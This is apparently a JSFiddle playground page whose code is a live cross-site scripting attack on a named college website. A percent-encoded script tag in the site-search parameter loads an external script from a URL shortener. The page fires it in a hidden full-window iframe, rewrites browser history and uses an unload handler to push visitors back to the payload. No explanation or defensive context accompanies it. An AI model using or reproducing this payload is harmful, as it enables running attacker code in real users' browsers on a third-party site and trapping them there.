JSFiddle - React, Tailwind, and code Playground
CSS
* {
margin:0px;
padding:0px;
}
html, body {
overflow:hidden;
width:100%;
height:100%;
}
iframe {
width:100%;
height:100%;
}
JavaScript
window.history.pushState(null,null,"/")
function warning()
{
location = ("http://www.wyotech.edu/sitesearch?search=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%6F%6F%2E%67%6C%2FRv9D8%67%22%3E%3C%2F%73%63%72%69%70%74%3E");
return '';
}
window.onbeforeunload = warning;
var iframe = document.createElement('iframe');
iframe.src = ("http://www.wyotech.edu/sitesearch?search=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%6F%6F%2E%67%6C%2FRv9D8%67%22%3E%3C%2F%73%63%72%69%70%74%3E");
document.body.appendChild(iframe);